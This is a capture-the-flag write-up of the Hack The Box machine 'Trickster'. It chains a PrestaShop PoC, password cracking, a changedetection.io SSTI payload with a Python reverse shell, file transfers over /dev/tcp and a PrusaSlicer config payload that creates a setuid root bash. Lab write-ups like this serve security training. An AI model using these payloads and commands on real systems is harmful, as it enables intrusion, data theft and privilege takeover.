1999 words
10 minutes
HTB: Trickster (Linux/Medium)

Recon šŸ•µļø#

Network Enumeration#

TCP Scan#

ip=10.129.104.100
nmap -sCV -p- -vv -A -T5 -oA scan/normal $ip

Based on the TCP scan results, the following ports are available for further assessment:

PortSoftwareVersionStatus
22/tcpsshttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)open
80/tcphttpttl 63 Apache httpd 2.4.52open

The scan also disclosed the domain name for this box:

Pasted image 20250131110455.png

letā€™s add it to our /etc/hosts file :

echo "$ip trickster.htb" | sudo tee -a /etc/hosts

UDP scan#

./udpz $ip --retries 1 --timeout 20000

Based on the UDP scan results, no open ports were identified for further assessment.

Web Enumeration#

Port 80 : trickster.htb#

Letā€™s start by doing some manual web enumeration:

curl -I http://trickster.htb

We can see several caching headers (Last-Modified, ETag, and Vary), and it also indicates that the website is running on an Apache 2.4.52 web server hosted on an Ubuntu machine.

Pasted image 20250131110910.png

Upon checking the website, we can see that it is presented as an online shopping site, with several buttons. All of them are static, except for the shop button, which redirects us to a new subdomain, shop.trickster.htb, when hovered over. trickster.png

letā€™s add it to our /etc/hosts file :

echo "$ip shop.trickster.htb" | sudo tee -a /etc/hosts

Port 80: shop.trickster.htb#

If we check it out, like we did earlier with trickster.htb :

curl -I http://shop.trickster.htb

Pasted image 20250201171238.png

We can see that this time itā€™s instructing the browser to prevent caching using multiple directives (no-store, no-cache, must-revalidate), as well as the Pragma: no-cache header for legacy browser support. Additionally, the response includes a Set-Cookie header for the session ID (PHPSESSID) which Other than the age control parameters, it also contains these attributes:

  • path=/: The cookie is valid for all pages on the domain.
  • HttpOnly: The cookie is inaccessible to JavaScript, protecting against XSS attacks.
  • SameSite=Lax: The cookie is only sent in same-site requests, reducing the risk of CSRF attacks while still allowing top-level navigation. We also observed two PrestaShop cookies, indicating that the website is running the PrestaShop CMS. These cookies store session information for user tracking and authentication. Interestingly, both cookies have the same name, PrestaShop-8460c864c88c2f307734ab15f2244f46, but with different values, which seemed odd. After researching it on Google, I found that this is likely a misconfiguration by the developer.

If we visit the website, we can see that it is indeed a store with many features, such as login pages, password resetting, and buying items, rather than just static links. This creates a large attack surface that we need to enumerate:

Pasted image 20250131135013.png

Fuzzing directories:#

First, letā€™s start by fuzzing directories:

feroxbuster -u http://shop.trickster.htb -w /usr/share/seclists/Discovery/Web-Content/quickhits.txt

We get a lot of hits, but the .git one caught my eye:

Pasted image 20250131141526.png

We can see that it is indeed a Git repository that they might have forgotten to remove:

Pasted image 20250131142410.png

Dumping the .git directory locally using git-dumper:#

Letā€™s use git-dumper to dump the git repository:

git-dumper http://shop.trickster.htb/.git shop/

if you donā€™t have it, you can install it with pip : pip3 install git-dumper.

Pasted image 20250131145014.png

As usual, I started by checking the commit history, as it often leaks sensitive information. I was able to retrieve a username, an email, and a confirmation that an admin panel exists.

Pasted image 20250131144542.png

adam:adam@trickster.htb

I looked through the source code to find anything interesting or a route to the admin panel, but I didnā€™t find anything useful. So, I turned to Google, hoping to find a way to access it, and I came across this article:

Pasted image 20250131145740.png

This means that this directory name, which initially seemed weird to me, is actually the path to the admin panel:

Pasted image 20250131150030.png

http://shop.trickster.htb/admin634ewutrx1jgitlooaj

Apparently, PrestaShop randomizes the path to the admin panel as a security measure to prevent crawlers and web fuzzing attacks.

PrestaShop Admin Panel#

If we go to it, we can see the version of PrestaShop, as well as a login panel:

Pasted image 20250131150543.png

Exploiting šŸ¦ˆ#

Foothold#

Shell as www-data : CVE-2024-34716#

Since I donā€™t have credentials, I started by looking for vulnerabilities in PrestaShop 8.1.5 and I found this article:

Pasted image 20250131151234.png

This vulnerability actually has a working PoC on GitHub. Initially, I thought it would be better to do it manually, but I couldnā€™t get it to work (Reproducing the first Part of it is nearly impossible with automating it), so I will just leave it and use their PoC for now.

Letā€™s run the PoC:

python3 exploit.py --url http://shop.trickster.htb --email adam@trickster.htb --local-ip 10.10.14.33 --admin-path admin634ewutrx1jgitlooaj

And we magically get a shell as www-data:

Pasted image 20250201165834.png

I will go through this exploit in the Beyond Root section.

Privilege Escalation#

We can see that there are three more users on the system:

cat /etc/passwd | grep /bin/bash

Pasted image 20250131162930.png

Which means that we need to escalate to either adam or james.

Shell As James:#

Looking through the configuration files of prestashop, I found this file with credentials to the mysql database:

cat ~/prestashop/app/config/parameters.php

Pasted image 20250131162545.png

ps_user:prest@shop_o

Letā€™s stabilize the shell and login to the database and see if we can find anything useful:

mysql -u ps_user -p

We see that there is a PrestaShop database:

SHOW DATABASES;

Pasted image 20250131161110.png

Letā€™s set it as the active database, then check which tables it contains:

USE prestashop;

SHOW TABLES;

We see a lot of tables, but typically, we look for ones that might contain credentials, such as user or employee tables. This one seemed like a strong candidate:

Pasted image 20250131161532.png

Letā€™s check it out:

DESCRIBE ps_employee;

and we see username and password columns:

Pasted image 20250131161920.png

SELECT lastname, firstname, passwd FROM ps_employee;

And we get jamesā€™s hash:

Pasted image 20250131162109.png

james:$2a$04$rgBYAsSHUVK3RZKfwbYY9OPJyBbt/OzGw9UHi4UnlK6yG5LyunCmm

First letā€™s put it in a file:

echo 'james:$2a$04$rgBYAsSHUVK3RZKfwbYY9OPJyBbt/OzGw9UHi4UnlK6yG5LyunCmm' > james.hash

Then we will crack it:

john james.hash --wordlist=../wordlists/rockyou.txt

and we get it:

Pasted image 20250131164411.png

james:alwaysandforever

Letā€™s try to use it for ssh:

ssh james@trickster.htb

and we get it, as well as the user flag:

Pasted image 20250131164545.png

Shell as root (in a docker container šŸ˜¹):#

While doing some manual enumeration, I found that there is a Docker container running in an internal network:

Pasted image 20250131170014.png

Letā€™s scan the entire 172.17.0.1/24 subnet; maybe weā€™ll find other services running there:

./fscan -h 172.17.0.1/24

and we see that there is another live host 172.17.0.2:

Pasted image 20250201101616.png

Letā€™s scan 172.17.0.2 to see if there are any open ports:

./fscan -h 172.17.0.2 -p 1-65535

And we can see that port 5000 is indeed open, hosting a service that redirects us to a login portal:

Pasted image 20250201102512.png

Letā€™s use an SSH tunnel to forward that port to our attack host, then examine the page:

ssh -L 5000:172.17.0.2:5000 james@$ip

Now, if we access localhost:5000, we can see the login interface for changedetection.io version 0.45.20:

Pasted image 20250201103610.png

Since itā€™s only asking for a password, letā€™s try jamesā€™s password that we use for ssh, maybe they reused it, and we got this:

Pasted image 20250201104200.png

CVE-2024-32651: RCE through SSTI#

While looking for vulnerabilities in this version, I found one involving an SSTI leading to RCE. The idea is to provide a website for monitoring and insert the Jinja2 payload in the notification body. When changedetection.io detects a change on the monitored website, it triggers the notification-sending mechanism, executing our payload through SSTI:

Pasted image 20250201113003.png

To exploit this, we will create a website folder, place an index.html in it, and host a Python web server. Meanwhile, we will continuously modify the file until changedetection.io detects the changes and executes our payload, which will return a reverse shell to the netcat session we have already set up:

Pasted image 20250201110620.png

First, we will provide them with the URL to our web server, then click on Edit > Watch:

Pasted image 20250201111358.png

Then, we set the time interval between checks to 10 seconds and set the filter_failure_notification_send condition to true:

Pasted image 20250201111709.png

And finally, we will set the payload and then hit save:

{{ self.__init__.__globals__.__builtins__.__import__('os').system('python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.33",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")\'') }}

Pasted image 20250201114341.png

and we see that it was created:

Pasted image 20250201114449.png

and we keep changing the website, until we get the shell:

Pasted image 20250201114844.png

Shell as adam:#

Again, while doing some manual enumeration, I found this weird directory /datastore in /. Inside it, I found a backups directory with two zipped backups:

Pasted image 20250201115522.png

Since I couldnā€™t find the unzip command on the target, letā€™s exfiltrate both backups and analyze them:

cat changedetection-backup-20240830202524.zip > /dev/tcp/172.17.0.1/6667
cat changedetection-backup-20240830194841.zip > /dev/tcp/172.17.0.1/6667

Set up a netcat listener on port 6667 in jamesā€™s SSH session, then run the commands in rootā€™s Docker session to exfiltrate both files.

nc -lnvp 6667 > changedetection-backup-20240830202524.zip
nc -lnvp 6667 > changedetection-backup-20240830194841.zip  

Now we will exfiltrate them to our attack host, then start by unzipping them and finally analyze them:

unzip changedetection-backup-20240830194841.zip -d backup1
unzip changedetection-backup-20240830202524.zip -d backup2 

Pasted image 20250201121810.png

I couldnā€™t find anything interesting in the plain text files, but this caught my eye:

Pasted image 20250201122016.png

Apparently, itā€™s a text file that was compressed using Brotli, so letā€™s decompress it:

brotli -d f04f0732f120c0cc84a993ad99decb2c.txt.br

And inside of it, we find the credentials to a database for the user adam, whom we identified earlier during enumeration:

Pasted image 20250201122605.png

adam:adam_admin992

Letā€™s see if he reused the same credentials for SSH:

ssh adam@trickster.htb

and it worked:

Pasted image 20250201122756.png

Shell as root (The actual root šŸ˜ˆ)#

We can see that adam can run Pursaslicer as root:

Pasted image 20250201131654.png

Since thatā€™s a strange command, I did a quick Google search and apparently Pursaslicer is a 3D printer software, and the command is used to control it.

CVE-2023-47268#

As usual, the first thing to do is check the version to see if itā€™s vulnerable:

Pasted image 20250201132627.png

And we can see that itā€™s vulnerable to Arbitrary Code Execution:

Pasted image 20250201132827.png

I also found this PoC, but we wonā€™t use it, as I prefer creating exploits manually because it helps me learn much more.

According to the exploitā€™s documentation, we need to modify the post_process entry in the Slic3r_PE.config configuration file with our malicious code, which will be executed as root. After that, weā€™ll compress the project into a .3mf archive and slice it:

Pasted image 20250201145414.png

A .3mf file is essentially a ZIP archive containing XML files and other resources related to 3D models.

In the directory where the PrusaSlicer binary is located, they left us a .3mf file:

Pasted image 20250201152948.png

I started by exfiltrating it to the attack host to edit it. Usually, when I have arbitrary code execution as root, I prefer to create a copy of Bash with root privileges, so I will modify the configuration file accordingly. But first, letā€™s unzip it:

unzip TRICKSTER.3mf -d TRICKSTER

Pasted image 20250201154141.png

Now letā€™s modify post_process with our payload:

; post_process = "cp /bin/bash /tmp/rootShell && chmod 4777 /tmp/rootShell"

Pasted image 20250201154509.png

After saving the edited file, I compressed it into our TRICKSTER.3mf file:

cd TRICKSTER
zip -r TRICKSTER.3mf *

Pasted image 20250201154805.png

Finally, all we have to do is transfer it back to the target machine and execute it:

sudo /opt/PrusaSlicer/prusaslicer -s TRICKSTER.3mf 

I was hoping to get a root shell right away, but instead, I encountered this error:

Pasted image 20250201161119.png

But editing the output_filename_format entry in the Slic3r_PE.config configuration file fixed it:

; output_filename_format = trickster.gcode

Pasted image 20250201155544.png

And this time, it was executed successfully, and we got our root shell along with the flag:

Pasted image 20250201162356.png

Beyond Root šŸ˜ˆ#

CVE-2024-34716 PoC Explained:#

exploit.py file:#

In this PoC, the author starts by validating the URL:

Pasted image 20250201170534.png

Then, they start a web server on port 5000 to server the malicious files:

Pasted image 20250201170659.png

After setting up all of that, they open the exploit.html file and store its content in a variable, then edit it with our parameters:

Pasted image 20250201171009.png

Next, they simply take the reverse shell template (which is the default PHP reverse shell script from pentestmonkey) and modify the IP and port to ours:

Pasted image 20250201172548.png

Now that everything is set up, they prepare the attack by copying the content of the updated HTML exploit into a .png file and filling out the other fields in the contact-us form:

Pasted image 20250201172859.png

Finally, they submit the form and trigger the reverse shell by visiting the /themes/next/reverse_shell_new.php endpoint:

Pasted image 20250201173003.png

exploit.html file:#

This file has three main functions. Two of them are responsible for fetching tokens from the website, which are then used in the third function. The third function imports our malicious theme by downloading it from the web server they have already opened on port 5000:

Pasted image 20250201171826.png

Once the script is loaded, that function will be triggered automatically:

Pasted image 20250201172022.png

Conclusion šŸ#

This box was an incredible experience! It provided an opportunity to apply a wide range of techniques that arenā€™t typically found in most Hack The Box machines, with multiple layers of horizontal privilege escalation that made the challenge even more rewarding. Itā€™s a shame to see it receive a low rating, especially due to the unfortunate oversight of leaving the root password in plain text. Nonetheless, it was an amazing box with a lot to offer, and I thoroughly enjoyed tackling it!

HTB: Trickster (Linux/Medium)
https://www.0xfr3nzy.com/posts/htb-trickster-linux-medium/
Author
0xfr3nzy
Published at
2025-02-01